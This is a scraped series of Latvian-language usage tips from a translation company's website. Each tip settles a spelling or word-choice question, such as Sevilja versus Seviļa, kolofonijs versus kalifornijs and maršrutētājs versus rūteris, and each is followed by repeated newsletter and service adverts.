veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ugunīgā flamenko dzimtene ir Seviļa vai Sevilja? Ieskaties un uzzini atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2023-06-07 - Modified: 2024-08-09 - URL: https://skrivanek.lv/sevila-vai-sevilja/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SEVIĻA VAI SEVILJA 1 Vai tiesa, ka ugunīgā flamenko dzimtene ir Seviļa? Vai – Sevilja? Latviskojumus šīs pilsētas nosaukumam var sastapt gan kā Seviļa (visdrīzāk, ka pēc analoģijas ar nesen valodas lietotāju vidū sašutumu radījušo Maļorku), gan kā Sevilja. Un arī vārdnīcās atrodamais atšķiras – letonika. lv piedāvā Seviļa, savukārt tezaurs. lv – Sevilja (variantu Seviļa norādot kā novecojušu). Kā skaidro Latviešu valodas aģentūra, Andalūzijas pērles nosaukums latviešu valodā pareizi atveidojams kā Sevilja. Tātad teiksim: Vai tiesa, ka ugunīgā flamenko dzimtene ir Sevilja? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai valūtas aprēķinus var vaikt ar valūtas kalkulatoru vai valūtu kalkulātoru? Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2023-06-07 - Modified: 2024-08-26 - URL: https://skrivanek.lv/valutas-kalkulators-vai-valutu-kalkulators/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VALŪTAS KALKULATORS VAI VALŪTU KALKULĀTORS 1 Vai varat man atsūtīt saiti, kurā būtu pieejams valūtas kalkulators? Vai – valūtu kalkulātors? Vārds ‘kalkulators’ latviešu valodā ir aizgūts, tā cilme ir latīņu valodas vārds ‘calculāre’ – rēķināt. Tas ir skaitļotājs, kas izpilda dažādas matemātiskas operācijas ar manuāli ievadītiem skaitļiem. Un lai gan izrunā trešajā zilbē nereti dzirdams garais patskanis ‘ā’, tomēr rakstība ir ar īso ‘a’. Valūtu kalkulators vai valūtas kalkulators? No kalkulatora definīcijas izriet, ka ar šo ierīci var izpildīt vairākas (daudzas) matemātiskas operācijas, tostarp veikt aprēķinus ar vairākām valūtām. Turklāt šie aprēķini tiek veikti, ņemot vērā valūtas kursu, tādēļ precīzāk būtu teikt: valūtas kursu kalkulators. Sarunvalodā var teikt: valūtu kalkulators. Tātad teiksim: Vai varat man atsūtīt saiti, kurā būtu pieejams valūtu kalkulators? Vai terminoloģiski precīzāk — valūtas kursu kalkulators. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Apavus, lai neslīd ierīvē ar kolofoniju, kalifoniju vai kaliforniju? Ieskaties un uzzini atbildi! Šis un daudzi citi valodas padomi vienuviet! - Published: 2023-06-07 - Modified: 2023-06-07 - URL: https://skrivanek.lv/kolofonijs-vai-kalifonijs-vai-kalifornijs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOLOFONIJS VAI KALIFONIJS VAI KALIFORNIJS 1 Dejotāji pirms koncerta apavus ierīvēja ar kolofoniju, lai dejojot neslīd. Vai – ar kalifoniju? Varbūt – kaliforniju? Kolofonijs ir dzeltenīgi sarkana vai brūna, trausla stiklveida viela, kas paliek pēc terpentīna iztvaicēšanas no skuju koku sveķvielām. Vārds cēlies no latīņu ‘colophonia’, kam pamatā grieķu Kolophōnia (rhētinē) ‘Kolofonijas sveķi’ (pēc grieķu pilsētas Kolofānas nosaukuma). Savukārt kalifornijs ir radioaktīvs metāls, kas brīvā dabā nav sastopams. Vārds cēlies vietvārda ‘Kalifornija’ (ASV), kur tas pirmo reizi mākslīgi iegūts. Dejotāju apavus no slīdēšanas neglābs radioaktīvs ķīmiskais elements, taču dzeltenīgā stiklveida viela ar īpatnējo smaržu gan ir labi zināma katram, kas pirms deju koncerta rūpējas par savu sniegumu “no galvas līdz kājām”. Tātad teiksim: Dejotāji pirms koncerta apavus ierīvēja ar kolofoniju, lai dejojot neslīd. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi saukt datu pārraides tīkla ierīci - virzis, rūteris vai maršrutētājs? Ieskaties šeit un uzzini pareizo atbildi! - Published: 2023-06-07 - Modified: 2023-06-07 - URL: https://skrivanek.lv/virzis-vai-ruteris-vai-marsrutetajs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VIRZIS VAI RŪTERIS VAI MARŠRUTĒTĀJS 1 Maršrutētājs būtībā ir specializēts dators, tam ir divas vai vairāk tīkla kartes, procesors un kaut kāds daudzums atmiņas. Vai tomēr – rūteris? Vai varbūt – virzis? Maršrutētājs (angļu val. – router) ir datu pārraides tīkla ierīce, kas nodrošina datu pārraides maršruta izvēli tīklos, kuriem var būt atšķirīga arhitektūra un protokoli. LU Datorikas fakultātes studentu grupa aprobējusi terminu ‘virzis’. Sarunvalodā, bez šaubām, iegājies un visbiežāk tiek lietots ‘rūteris’. Arī Mūsdienu latviešu valodas vārdnīcā atrodams vārds ‘rūteris’, kas klasificēts kā jaunvārds. Latvijas Zinātņu akadēmijas Terminoloģijas komisijas Informācijas tehnoloģijas, telekomunikācijas un elektronikas terminoloģijas apakškomisija iesaka atveidot kā ‘maršrutētājs’ vai ‘virzis’. Ņemot vērā ārkārtīgi lielo jaunu vārdu un terminu pieplūdumu, kas pēdējo gadu desmitu laikā vērojams latviešu valodā, Skrivanek iesaka lietot ‘maršrutētājs’. Tātad teiksim: Maršrutētājs būtībā ir specializēts dators, tam ir divas vai vairāk tīkla kartes, procesors un kaut kāds daudzums atmiņas. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mans mīļākais deserts ir sorbets vai sorberts? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-06-07 - Modified: 2024-07-12 - URL: https://skrivanek.lv/sorbets-vai-sorberts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SORBETS VAI SORBERTS 1 Šogad bagātīga rudens aveņu raža. Varbūt pagatavot sorbertu? Vai – sorbetu? Sorbets ir atspirdzinošs deserts, ko gatavo no svaigas augļu, ogu biezsulas vai biezeņa, pievienojot cukura sīrupu; tam var pievienot šampanieti vai citu alkoholisku dzērienu; tā maisījums tiek sasaldēts putojot un to pasniedz labi atdzesētos traukos. Par sorbetu tiek saukts arī alkoholisks vai bezalkoholisks ledusauksts kokteilis. Vārds aizgūts no vecitāļu vārda ‘sorbetto’, kas savukārt cēlies no turku ‘şerbet’ (transliterācija no persiešu ‘sharbat’). Lūkojoties vēl tālāk, persiešu vārds ir atvasināts no arābu valodas darbības vārda ‘shariba’, kas nozīmē ‘dzert’. Pirmo reizi Rietumeiropā vārds ‘šerbets’ ir minēts itāļu valodā un attiecināts uz kaut ko, ko dzer turki. Vēlāk franču valodā no itāļiem aizgūtais vārds kļūst par ‘sorbet’, angļu valodā – par ‘sorbet’, vācu valodā – par ‘das Sorbet’. Skrivanek jau rakstīja par vārda ‘šerbets’ pareizrakstību – pareizi ir ‘šerbets’, nevis ‘šerberts’. Pēc analoģijas būs vieglāk atcerēties arī vārda ‘sorbets’ pareizu izrunu un rakstību. Turklāt pie reizes varam apgūt arī kulināriskas nianses, proti, atšķirība starp šiem diviem saldēto desertu veidiem (sorbets un šerbets) galvenokārt ir tajā, cik daudz piena produktu tie satur. Sorbeta sastāvā nav nekādu piena produktu, bet šerbeta sastāvā ir nedaudz krējuma vai piena, kas tam piešķir bagātīgāku, krēmīgāku konsistenci. Tātad teiksim: Šogad bagātīga rudens aveņu raža. Varbūt pagatavot sorbetu? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai konstrukcija ir veidota no brusēm vai brusām? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2023-05-10 - Modified: 2024-08-29 - URL: https://skrivanek.lv/brusa-vai-bruse/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BRUSA VAI BRUSE 1 Šī konstrukcija veidota no brusām. Vai – no brusēm? Brusa ir no vairākām pusēm apzāģēts, retāk aptēsts, kokmateriāls, kura biezums un platums ir lielāks par 100 milimetriem. Kā vēsta Kalupes izloksnes vārdnīca, ir sastopams arī apvidvārds ‘bruss’; kokrūpniecībā tiek lietots arī vārds ‘brusiņa’. Vārda nepareiza rakstība ar galotni -e nereti sastopama dažādās tīmekļa vietnēs, kas domātas vispārējai tirdzniecībai, vai aprakstot amatierceltnieku pieredzi. Vārds pareizi jāraksta ar galotni -a. Tātad teiksim: Šī konstrukcija veidota no brusām. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Dosimies uz Kijevu vai Kijivu aplūkot slaveno Kreščatiku? Ieskaties šeit un uzzini kā pareizi raksta Ukrainas galvaspilsētas nosaukumu! - Published: 2023-05-10 - Modified: 2024-10-23 - URL: https://skrivanek.lv/kijiva-vai-kijeva/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KIJIVA VAI KIJEVA 1 Dosimies uz Kijevu aplūkot slaveno Hreščatiku. Vai – dosimies uz Kijivu aplūkot slaveno Hreščatiku? Visās valodās ir sastopami vārdi, kuru izcelsme jeb etimoloģija ir neskaidra. Proti, valodnieki, pētot valodu kontaktus, ņemot vērā arheoloģiskās un vēsturiskās, kā arī kultūrsociālās liecības, piedāvā dažādus pirmvārdus, no kuriem tad laika gaitā izveidojies vārds tā pašreizējā formā. Viens no vārdiem ar neskaidru izcelsmi ir arī vārds Kijiva. Autoritatīvais etimologs Makss Fasmers, šķirklī atainojot vārda rakstību dažādās valodās (senkrievu Кыѥвъ, arābu Kujabah, grieķu Κίαβον, Κιοάβα, latīņu Cuiewa, poļu Kijewo, čehu Kуjоv, serbu-horvātu Киjево), kā vārda izcelsmes visatbilstošāko avotu norāda personvārdu Кыи, ko latviešu valodā varam atveidot kā Kijs. Kijs, saskaņā ar leģendām, ir viens no Kijivas dibinātājiem. M. Fasmers savas Etimoloģijas vārdnīcas lasītājiem liek meklēt tālāk, aiz vārda Кыи liekot iekavās norādi (skatīt кий ). Un šī vārda skaidrojums ir šāds: nūja, boze, arī zveltnis, āmurs, veseris (šāds skaidrojums ir arī ukraiņu, bulgāru, baznīcslāvu, baltkrievu, serbu, horvātu, slovēņu, čehu, poļu, slovāku valodā). M. Fasmers piedāvā salīdzināt radniecīgos lietuviešu vārdu kū́jis , latviešu kūjа, senprūšu kugis. Jāpiebilst, ka M. Fasmera piedāvātais izcelsmes lingvistiskais ceļš ir viens no iespējamajiem, tomēr pietiekami autoritatīvs. Tātad, izsekojot atvasināšanas gaitu, mēs redzam, ka vārda Kijiva dziļākā nozīme ir ‘kūja, boze, veseris, zveltnis’. Bet nu par jautājumu – Kijeva vai Kijiva. Vārda izruna ar skaņu i – tā nav tikai izruna tuvāk oriģinālajai, kā pēdējos gados tiek ieteikts latviskot personvārdus arī no citām valodām. Neieslīgstot vēsturiskās valodniecības līkločos, vien atzīmēsim, ka skaņu mija, patskaņiem un slēgtās zilbēs pārtopot par , ir ļoti sena. No visām slāvu valodām tikai ukraiņu valodai ir raksturīga šī īpatnība. Tātad teiksim: dosimies uz Kijivu aplūkot slaveno Hreščatiku. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā gribētos laimēt loterijā jaunu automobili! Vai ‒ laimēt loterejā? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - Published: 2023-05-10 - Modified: 2023-05-10 - URL: https://skrivanek.lv/loterija-vai-lotereja/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LOTERIJA VAI LOTEREJA 1 Kā gribētos laimēt loterijā jaunu automobili! Vai ‒ laimēt loterejā? Vārda pamatā ir vācu vārds ‘Lotterie’. Lai gan elektroniskajā vārdnīcā tezaurs. lv atradīsiet arī vārdu ‘lotereja’, pievērsiet uzmanību, ka šādi visdrīzāk būtu rakstījušas vai teikušas mūsu vecmāmiņas vai vecvecmāmiņas, proti, šāds vārda variants ir atzīts par novecojušu. Tātad teiksim: Kā gribētos laimēt loterijā jaunu automobili! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kaimiņu mājā nemitīgi notiek strīdi un bāršanās. Vai tik nebūs jāzvana bāriņtiesai? Vai – bāreņtiesai? Ieskaties un uzzini atbildi! - Published: 2023-05-10 - Modified: 2023-05-10 - URL: https://skrivanek.lv/barintiesa-vai-barentiesa/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BĀRIŅTIESA VAI BĀREŅTIESA 1 Kaimiņu mājā nemitīgi notiek strīdi un bāršanās. Vai tik nebūs jāzvana bāriņtiesai? Vai – bāreņtiesai? Latviešu valodā vārda ‘bārenis’ nozīmes skaidrojums ir šāds – ‘bērns, kas zaudējis abus vecākus vai vienu no tiem’. Savukārt vārda ‘bārenis’ novecojis sinonīms ir vārds ‘bāriņš’. Tātad mūsdienu latviešu literārajā valodā vārdā ‘bāriņtiesa’ ir saglabājusies vārda vēsturiskā forma, un pareizi būs, ja teiksim: Vai tik nebūs jāzvana bāriņtiesai? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kāda ir vārdu teju un gandrīz lietojuma atšķirība? Ieskaties šeit un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2023-05-10 - Modified: 2024-10-21 - URL: https://skrivanek.lv/teju-vai-gandriz/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TEJU VAI GANDRĪZ 1 Pēdējo gadu laikā teju visi žurnālisti un citi rakstošie radošie vārda ‘gandrīz’ vietā sākuši lietot vārdu ‘teju’. Palūkosim, vai tā tiešām ir atzīstama tendence. Varbūt tomēr rakstīsim: Pēdējo gadu laikā gandrīz visi žurnālisti un citi rakstošie radošie vārda ‘gandrīz’ vietā sākuši lietot vārdu ‘teju’. Lūkosim, ko mums vēsta mūsu uzticamie draugi – vārdnīcas. Vārda ‘teju’ nozīmes tiek dotas šādas: 1. visdrīzākajā laikā; tūliņ (norāda, ka (ko) darīs, ka (kas) notiks, eksistēs šajā pašā mirklī, brīdī. Norāda, ka (kas) notiek, norisinās, eksistē laikposmā, kas tieši seko iepriekšējam laikposmam. Norāda, ka (kas) notiek, norisinās, eksistē tieši pēc kādas citas darbības, norises, stāvokļa); 2. tikko; pavisam nesen; nupat (ar nozīmi: 1. Tikko, pavisam nesen. 2. Pašreiz, šajā momentā, šajā brīdī. 3. Tūlīt, ļoti drīz. ) un tikai kā trešā nozīme ir dota vārds ‘gandrīz’. Un kā ceturtā, novecojusi nozīme – ļoti tuvu, tepat. Pievērsīsim uzmanību, ka visi šie nozīmju skaidrojumi, izņemot ceturto, novecojušo, ir saistīti ar laika kategoriju. Vārda ‘gandrīz’ nozīmes skaidrojums: tikpat kā; tā, ka ļoti maz trūkst, lai kaut kas būtu (notiktu). Tātad varam secināt, ka vārds ‘teju’ lielākajā daļā nozīmju skaidrojumu ir saistīts ar laika kategoriju, piemēram, teju iestāsies pavasaris; teju nobijos no spoka. Mūsu piemērā vārds ‘teju’ ir attiecināms uz vārdu ‘žurnālisti’ un netiek lietots laika kategorijas nozīmē, tādēļ šajā gadījumā teiksim: Pēdējo gadu laikā gandrīz visi žurnālisti un citi rakstošie radošie vārda ‘gandrīz’ vietā sākuši lietot vārdu ‘teju’. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > 